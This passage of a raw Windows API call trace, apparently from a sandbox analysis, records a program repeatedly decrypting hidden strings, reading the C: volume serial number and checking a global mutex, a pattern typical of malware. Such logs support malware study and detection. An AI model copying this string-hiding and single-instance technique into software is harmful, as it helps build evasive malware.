lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0124.611] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe794c0 | out: hHeap=0xe70000) returned 1 [0124.611] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe79498 [0124.611] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x7b5aa0) returned 1 [0124.611] CryptSetKeyParam (hKey=0x7b5aa0, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0124.611] CryptDecrypt (in: hKey=0x7b5aa0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe79498, pdwDataLen=0xe1f96c | out: pbData=0xe79498, pdwDataLen=0xe1f96c) returned 1 [0124.611] CryptDestroyKey (hKey=0x7b5aa0) returned 1 [0124.611] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe794e0 [0124.611] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x0 [0124.611] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773001") returned 0x590 [0124.611] WaitForSingleObject (hHandle=0x590, dwMilliseconds=0x0) returned 0x0 [0124.611] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79498 | out: hHeap=0xe70000) returned 1 [0124.611] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe794e0 | out: hHeap=0xe70000) returned 1 [0124.611] ReleaseMutex (hMutex=0x590) returned 1 [0124.611] CloseHandle (hObject=0x590) returned 1 [0124.611] Sleep (dwMilliseconds=0x3e8) [0125.741] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe71230 [0125.741] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x81ce60) returned 1 [0125.741] CryptSetKeyParam (hKey=0x81ce60, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0125.741] CryptDecrypt (in: hKey=0x81ce60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71230, pdwDataLen=0xe1f938 | out: pbData=0xe71230, pdwDataLen=0xe1f938) returned 1 [0125.741] CryptDestroyKey (hKey=0x81ce60) returned 1 [0125.741] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe71258 [0125.741] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe71280 [0125.741] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7a8f8 [0125.741] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x81cde0) returned 1 [0125.741] CryptSetKeyParam (hKey=0x81cde0, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0125.741] CryptDecrypt (in: hKey=0x81cde0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7a8f8, pdwDataLen=0xe1f910 | out: pbData=0xe7a8f8, pdwDataLen=0xe1f910) returned 1 [0125.741] CryptDestroyKey (hKey=0x81cde0) returned 1 [0125.741] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7a8f8 | out: hHeap=0xe70000) returned 1 [0125.741] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe71258, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0125.741] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71280 | out: hHeap=0xe70000) returned 1 [0125.741] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71230 | out: hHeap=0xe70000) returned 1 [0125.741] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0125.741] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71258 | out: hHeap=0xe70000) returned 1 [0125.741] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe71230 [0125.741] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x81cda0) returned 1 [0125.741] CryptSetKeyParam (hKey=0x81cda0, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0125.741] CryptDecrypt (in: hKey=0x81cda0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71230, pdwDataLen=0xe1f96c | out: pbData=0xe71230, pdwDataLen=0xe1f96c) returned 1 [0125.741] CryptDestroyKey (hKey=0x81cda0) returned 1 [0125.741] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe71278 [0125.741] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x0 [0125.742] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773001") returned 0x250 [0125.742] WaitForSingleObject (hHandle=0x250, dwMilliseconds=0x0) returned 0x0 [0125.742] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71230 | out: hHeap=0xe70000) returned 1 [0125.742] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71278 | out: hHeap=0xe70000) returned 1 [0125.742] ReleaseMutex (hMutex=0x250) returned 1 [0125.742] CloseHandle (hObject=0x250) returned 1 [0125.742] Sleep (dwMilliseconds=0x3e8) [0126.807] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe71230 [0126.807] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x81d260) returned 1 [0126.807] CryptSetKeyParam (hKey=0x81d260, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0126.807] CryptDecrypt (in: hKey=0x81d260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71230, pdwDataLen=0xe1f938 | out: pbData=0xe71230, pdwDataLen=0xe1f938) returned 1 [0126.807] CryptDestroyKey (hKey=0x81d260) returned 1 [0126.807] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe71258 [0126.807] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe71280 [0126.807] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7ad20 [0126.807] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x81d060) returned 1 [0126.807] CryptSetKeyParam (hKey=0x81d060, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0126.807] CryptDecrypt (in: hKey=0x81d060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7ad20, pdwDataLen=0xe1f910 | out: pbData=0xe7ad20, pdwDataLen=0xe1f910) returned 1 [0126.807] CryptDestroyKey (hKey=0x81d060) returned 1 [0126.807] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7ad20 | out: hHeap=0xe70000) returned 1 [0126.807] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe71258, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0126.807] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71280 | out: hHeap=0xe70000) returned 1 [0126.807] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71230 | out: hHeap=0xe70000) returned 1 [0126.807] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0126.807] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71258 | out: hHeap=0xe70000) returned 1 [0126.807] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe71230 [0126.807] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x81cb20) returned 1 [0126.807] CryptSetKeyParam (hKey=0x81cb20, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0126.807] CryptDecrypt (in: hKey=0x81cb20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71230, pdwDataLen=0xe1f96c | out: pbData=0xe71230, pdwDataLen=0xe1f96c) returned 1 [0126.807] CryptDestroyKey (hKey=0x81cb20) returned 1 [0126.808] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe71278 [0126.808] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x590 [0126.808] WaitForSingleObject (hHandle=0x590, dwMilliseconds=0x0) returned 0x102 [0126.808] CloseHandle (hObject=0x590) returned 1 [0126.808] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71230 | out: hHeap=0xe70000) returned 1 [0126.808] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71278 | out: hHeap=0xe70000) returned 1 [0126.808] Sleep (dwMilliseconds=0x3e8) [0127.854] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe753a0 [0127.854] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x81cc20) returned 1 [0127.854] CryptSetKeyParam (hKey=0x81cc20, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0127.854] CryptDecrypt (in: hKey=0x81cc20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe753a0, pdwDataLen=0xe1f938 | out: pbData=0xe753a0, pdwDataLen=0xe1f938) returned 1 [0127.854] CryptDestroyKey (hKey=0x81cc20) returned 1 [0127.854] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe7b6d8 [0127.854] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe7b700 [0127.854] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7a990 [0127.854] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x81cca0) returned 1 [0127.854] CryptSetKeyParam (hKey=0x81cca0, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0127.854] CryptDecrypt (in: hKey=0x81cca0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7a990, pdwDataLen=0xe1f910 | out: pbData=0xe7a990, pdwDataLen=0xe1f910) returned 1 [0127.854] CryptDestroyKey (hKey=0x81cca0) returned 1 [0127.854] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7a990 | out: hHeap=0xe70000) returned 1 [0127.854] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe7b6d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0127.854] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b700 | out: hHeap=0xe70000) returned 1 [0127.854] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe753a0 | out: hHeap=0xe70000) returned 1 [0127.854] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0127.854] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b6d8 | out: hHeap=0xe70000) returned 1 [0127.854] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe7b6d8 [0127.854] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x81cd20) returned 1 [0127.854] CryptSetKeyParam (hKey=0x81cd20, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0127.854] CryptDecrypt (in: hKey=0x81cd20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7b6d8, pdwDataLen=0xe1f96c | out: pbData=0xe7b6d8, pdwDataLen=0xe1f96c) returned 1 [0127.854] CryptDestroyKey (hKey=0x81cd20) returned 1 [0127.854] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe71490 [0127.854] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x508 [0127.854] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0x0) returned 0x102 [0127.854] CloseHandle (hObject=0x508) returned 1 [0127.855] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b6d8 | out: hHeap=0xe70000) returned 1 [0127.855] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71490 | out: hHeap=0xe70000) returned 1 [0127.855] Sleep (dwMilliseconds=0x3e8) [0128.987] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe753a0 [0128.987] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x81d260) returned 1 [0128.987] CryptSetKeyParam (hKey=0x81d260, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0128.987] CryptDecrypt (in: hKey=0x81d260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe753a0, pdwDataLen=0xe1f938 | out: pbData=0xe753a0, pdwDataLen=0xe1f938) returned 1 [0128.987] CryptDestroyKey (hKey=0x81d260) returned 1 [0128.987] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe7b6d8 [0128.987] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe7b700 [0128.987] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7a7c8 [0128.987] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x81cf60) returned 1 [0128.987] CryptSetKeyParam (hKey=0x81cf60, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0128.987] CryptDecrypt (in: hKey=0x81cf60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7a7c8, pdwDataLen=0xe1f910 | out: pbData=0xe7a7c8, pdwDataLen=0xe1f910) returned 1 [0128.987] CryptDestroyKey (hKey=0x81cf60) returned 1 [0128.987] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7a7c8 | out: hHeap=0xe70000) returned 1 [0128.987] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe7b6d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0128.987] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b700 | out: hHeap=0xe70000) returned 1 [0128.987] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe753a0 | out: hHeap=0xe70000) returned 1 [0128.987] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0128.987] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b6d8 | out: hHeap=0xe70000) returned 1 [0128.987] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe7b6d8 [0128.987] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x81cf60) returned 1 [0128.987] CryptSetKeyParam (hKey=0x81cf60, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0128.987] CryptDecrypt (in: hKey=0x81cf60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7b6d8, pdwDataLen=0xe1f96c | out: pbData=0xe7b6d8, pdwDataLen=0xe1f96c) returned 1 [0128.987] CryptDestroyKey (hKey=0x81cf60) returned 1 [0128.987] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe71490 [0128.987] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x508 [0128.987] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0x0) returned 0x102 [0128.988] CloseHandle (hObject=0x508) returned 1 [0128.988] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b6d8 | out: hHeap=0xe70000) returned 1 [0128.988] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71490 | out: hHeap=0xe70000) returned 1 [0128.988] Sleep (dwMilliseconds=0x3e8) [0129.990] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe753a0 [0129.990] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x81cb20) returned 1 [0129.990] CryptSetKeyParam (hKey=0x81cb20, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0129.990] CryptDecrypt (in: hKey=0x81cb20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe753a0, pdwDataLen=0xe1f938 | out: pbData=0xe753a0, pdwDataLen=0xe1f938) returned 1 [0129.990] CryptDestroyKey (hKey=0x81cb20) returned 1 [0129.990] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe7b6d8 [0129.990] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe7b700 [0129.990] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7ab58 [0129.990] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x81cfe0) returned 1 [0129.990] CryptSetKeyParam (hKey=0x81cfe0, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0129.990] CryptDecrypt (in: hKey=0x81cfe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7ab58, pdwDataLen=0xe1f910 | out: pbData=0xe7ab58, pdwDataLen=0xe1f910) returned 1 [0129.990] CryptDestroyKey (hKey=0x81cfe0) returned 1 [0129.990] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7ab58 | out: hHeap=0xe70000) returned 1 [0129.990] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe7b6d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0129.990] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b700 | out: hHeap=0xe70000) returned 1 [0129.990] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe753a0 | out: hHeap=0xe70000) returned 1 [0129.990] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0129.991] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b6d8 | out: hHeap=0xe70000) returned 1 [0129.991] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe7b6d8 [0129.991] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x81d160) returned 1 [0129.991] CryptSetKeyParam (hKey=0x81d160, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0129.991] CryptDecrypt (in: hKey=0x81d160, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7b6d8, pdwDataLen=0xe1f96c | out: pbData=0xe7b6d8, pdwDataLen=0xe1f96c) returned 1 [0129.991] CryptDestroyKey (hKey=0x81d160) returned 1 [0129.991] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe71490 [0129.991] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x508 [0129.991] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0x0) returned 0x102 [0129.991] CloseHandle (hObject=0x508) returned 1 [0129.991] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b6d8 | out: hHeap=0xe70000) returned 1 [0129.991] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71490 | out: hHeap=0xe70000) returned 1 [0129.991] Sleep (dwMilliseconds=0x3e8) [0131.005] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe753a0 [0131.005] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x81d2a0) returned 1 [0131.005] CryptSetKeyParam (hKey=0x81d2a0, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0131.005] CryptDecrypt (in: hKey=0x81d2a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe753a0, pdwDataLen=0xe1f938 | out: pbData=0xe753a0, pdwDataLen=0xe1f938) returned 1 [0131.005] CryptDestroyKey (hKey=0x81d2a0) returned 1 [0131.005] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe7b6d8 [0131.005] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe7b700 [0131.005] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7a4d0 [0131.005] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x81cd60) returned 1 [0131.005] CryptSetKeyParam (hKey=0x81cd60, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0131.005] CryptDecrypt (in: hKey=0x81cd60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7a4d0, pdwDataLen=0xe1f910 | out: pbData=0xe7a4d0, pdwDataLen=0xe1f910) returned 1 [0131.006] CryptDestroyKey (hKey=0x81cd60) returned 1 [0131.006] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7a4d0 | out: hHeap=0xe70000) returned 1 [0131.006] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe7b6d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0131.006] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b700 | out: hHeap=0xe70000) returned 1 [0131.006] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe753a0 | out: hHeap=0xe70000) returned 1 [0131.006] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0131.006] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b6d8 | out: hHeap=0xe70000) returned 1 [0131.006] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe7b6d8 [0131.006] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x81d020) returned 1 [0131.006] CryptSetKeyParam (hKey=0x81d020, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0131.006] CryptDecrypt (in: hKey=0x81d020, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7b6d8, pdwDataLen=0xe1f96c | out: pbData=0xe7b6d8, pdwDataLen=0xe1f96c) returned 1 [0131.006] CryptDestroyKey (hKey=0x81d020) returned 1 [0131.006] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe71490 [0131.006] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x508 [0131.006] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0x0) returned 0x102 [0131.006] CloseHandle (hObject=0x508) returned 1 [0131.006] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b6d8 | out: hHeap=0xe70000) returned 1 [0131.006] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71490 | out: hHeap=0xe70000) returned 1 [0131.006] Sleep (dwMilliseconds=0x3e8) [0132.118] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe791f8 [0132.118] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x81cde0) returned 1 [0132.118] CryptSetKeyParam (hKey=0x81cde0, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0132.118] CryptDecrypt (in: hKey=0x81cde0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe791f8, pdwDataLen=0xe1f938 | out: pbData=0xe791f8, pdwDataLen=0xe1f938) returned 1 [0132.118] CryptDestroyKey (hKey=0x81cde0) returned 1 [0132.118] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe79220 [0132.118] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe792e8 [0132.118] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7ac88 [0132.118] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x81d060) returned 1 [0132.118] CryptSetKeyParam (hKey=0x81d060, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0132.118] CryptDecrypt (in: hKey=0x81d060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7ac88, pdwDataLen=0xe1f910 | out: pbData=0xe7ac88, pdwDataLen=0xe1f910) returned 1 [0132.118] CryptDestroyKey (hKey=0x81d060) returned 1 [0132.118] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7ac88 | out: 